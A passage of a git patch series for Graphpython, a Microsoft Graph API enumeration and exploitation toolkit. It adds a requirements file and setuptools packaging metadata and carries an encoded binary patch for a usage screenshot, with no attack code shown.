todo: +# - add mfasweep functions \ No newline at end of file diff --git a/requirements.txt b/requirements.txt new file mode 100644 index 0000000..9b0439f --- /dev/null +++ b/requirements.txt @@ -0,0 +1,8 @@ +requests +pyjwt +dnspython +tqdm +tabulate +cryptography +beautifulsoup4 +termcolor \ No newline at end of file diff --git a/setup.py b/setup.py new file mode 100644 index 0000000..fa0bef5 --- /dev/null +++ b/setup.py @@ -0,0 +1,42 @@ +from setuptools import setup, find_packages +import os + +with open('README.md', 'r', encoding='utf-8') as f: + long_description = f.read() + +requirements = [] +if os.path.exists('requirements.txt'): + with open('requirements.txt', 'r', encoding='utf-8') as f: + requirements = [x.strip() for x in f.readlines()] + +setup( + name="Graphpython", + version="1.0", + packages=find_packages(), + author="mlcsec", + author_email="mlcsec@proton.me", + description="Modular cross-platform Microsoft Graph API (Entra, o365, and Intune) enumeration and exploitation toolkit", + long_description=long_description, + long_description_content_type="text/markdown", + url="https://github.com/mlcsec/Graphpython", + install_requires=requirements, + classifiers=[ + "Programming Language :: Python :: 3", + "License :: OSI Approved :: MIT License", + "Operating System :: OS Independent", + "Development Status :: 3 - Alpha", + "Intended Audience :: Developers", + "Intended Audience :: Information Technology", + "Topic :: Security", + ], + python_requires='>=3.6', + entry_points={ + "console_scripts": [ + "Graphpython=Graphpython.__main__:main", + ], + }, + include_package_data=True, + package_data={ + 'Graphpython': ['commands/graphpermissions.txt'], + }, +) \ No newline at end of file From 0c51e8feee0985c7f21b705a0d34ec5add46745d Mon Sep 17 00:00:00 2001 From: mlcsec <47215311+mlcsec@users.noreply.github.com> Date: Tue, 23 Jul 2024 11:35:04 +0100 Subject: [PATCH 11/37] Update v1.0 --- .github/usage.png | Bin 407593 -> 387682 bytes Graphpython/__main__.py | 224 ++++++++++++++++++++++++++++++++++++++++ README.md | 4 +- 3 files changed, 226 insertions(+), 2 deletions(-) create mode 100644 Graphpython/__main__.py diff --git a/.github/usage.png b/.github/usage.png index 64d7d55c6486da1ed6ad2b73246370c55691f590..8526f1b8c28a53fcac170047f7d4535e4fabc2e7 100644 GIT binary patch literal 387682 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 